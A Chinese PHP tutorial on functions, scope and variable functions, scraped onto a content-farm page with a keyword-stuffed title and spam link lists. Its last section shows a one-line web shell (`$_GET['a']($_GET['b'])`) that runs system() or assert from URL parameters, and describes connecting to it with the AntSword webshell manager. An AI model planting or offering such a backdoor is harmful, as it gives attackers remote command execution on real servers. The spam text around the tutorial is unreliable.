当前位置: 首页 > news >正文

在线建站模板网站开发需求分析怎么写

在线建站模板,网站开发需求分析怎么写,百度网站建设,石家庄整站优化技术函数 基本结构 语法结构 function 函数名(形式参数1,形式参数2...){//函数体return 返回值 }定义并执行一个简单函数 // funtion.phpfunction test(){echo "This is function ".__FUNCTION__; }test();函数传参 // function.phpfunction add($x, $y){$sum $x …

函数

基本结构

语法结构

function 函数名(形式参数1,形式参数2...){//函数体return 返回值
}

定义并执行一个简单函数

// funtion.phpfunction test(){echo "This is function ".__FUNCTION__;
}test();

函数传参

// function.phpfunction add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

函数调用

函数的调用,函数名加上小括号

调用过程

function a(){echo "This is func ".__FUNCTION__."<br />";
}function b(){echo __FUNCTION__." is starting...<br />";a();echo __FUNCTION__." is stopped!<br />";
}b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
  • 函数执行完毕,返回调用的位置继续向下执行。

变量

范围

  • 局部变量
  • 全局变量
  • 超全局变量

函数内部无法直接获取函数外部的变量

函数外部无法直接获取函数内部的变量

局部变量

在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.phpfunction get_name(){$username = "GJL";echo "My name is {$username}";
}
get_name();echo $username;     // Notice: Undefined variable: username

全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php$username = "GJL";function get_name(){echo "My name is {$username}";
}get_name();     // Notice: Undefined variable: username

注意

  • PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与 JavaScript 和 Python 不同。

  • 解决方式

    • 函数传参

      $username = "GJL";function get_name($username){echo "My name is {$username}";
      }get_name($username);
      
    • global 声明全局变量

      // function.php$username = "GJL";function get_name(){global $username;echo "My name is {$username}";
      }get_name();
      

参数传递

按值传参

默认传参方式。

function add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);

对形参的操作,不会改变实参的值。

默认参数

可以给形式参数设置默认值,直接赋值即可

给函数默认值的时候,全都给

function add($x = 0, $y = 0){$sum = $x + $y;return $sum;
}// echo add();          // 0
// echo add(10, 3);     // 13
echo add(10);           // 10

可变函数

概述

可变函数也叫变量函数动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

<?phpfunction a(){echo "This is function a";
}
function b(){echo "This is function b";
}
$func_name = "a";
$func_name();  // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果,输出 This is function a?>

危险操作

<?phpfunction a(){echo "This is function a";
}function b(){echo "This is function b";
}// a();
// b();$func_name  = ($_GET['func_name']);
$func_name();                   // a();// b();// phpinfo();?>

直接访问显示错误,此时的 func_name 为空

image-20231024105745753

传参,赋予其参数

修改 GET 中传入的参数

image-20231024105933485

将参数名改为 phpinfo 则调用 phponfo() 函数显示 phpinfo

image-20231024110144246

简单的后门

命令执行

  • php 中 system() 函数可以直接执行系统命令

    system("ipconfig");
    
  • 在 php 中写入最简单的后门函数

    <?php$_GET['a']($_GET['b']);?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php$_GET['a']($_REQUEST['b']);?>
      

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    image-20231024172526535

  • 获取 shell

    image-20231024172714987

http://www.yayakq.cn/news/386332/

相关文章:

  • 主流网站宽度深圳网站设计 建设元
  • 网站平台多少钱WordPress修改首页文章预览
  • 建设网站 莆田施工企业对下结算容易出现的问题
  • 建电影网站的程序织梦网站更换域名
  • 网站建设管理 自查 报告佛山网站制作专家
  • 做网站 请示手机做wifi中继上外国网站
  • 网站设计确认函用什么网站做动感相册
  • 举报不良网站信息怎么做京东商城网站地址是多少
  • 网站备案如何查询网站ip地址范围
  • 网站标题栏怎么做网页制作模块素材
  • 为什么做街舞网站网站建设误区
  • 营销型网站分类广东网站开发费用
  • 网站建设 软件有哪些内容搭建平台有哪些平台说法
  • 工商工事上哪个网站做清涧县住房和成乡建设局 网站
  • 企业网络推广网站建设网页设计入门教程pdf
  • 简述网站开发的过程凡客诚品创始人
  • 建设公司网站法律声明网站seo插件
  • 网站对话窗口怎么做杨和网站设计制作
  • 贵阳seo网站推广优化做自由行的网站
  • 网站开发分支结构惠州网站建设 惠州邦
  • 网站闭关保护怎么做免费推广方式都有哪些
  • wordpress刷新ssl就没了网站建设seo规范
  • 中铁建设集团华东分公司网站模仿别人网站算侵权吗
  • 郑州专业做网站的手机评测网站
  • wordpress 后台界面sem和seo的工作
  • 怎么查询网站后台地址电子商务网站开发课程
  • 网上有做衣服的网站国外域名注册网站
  • 记事本做网站代码集团网站设计方案
  • 做网站哪一家公司好个人网站模板打包下载
  • 表白网站制作软件手机长沙seo 优化选智投未来no1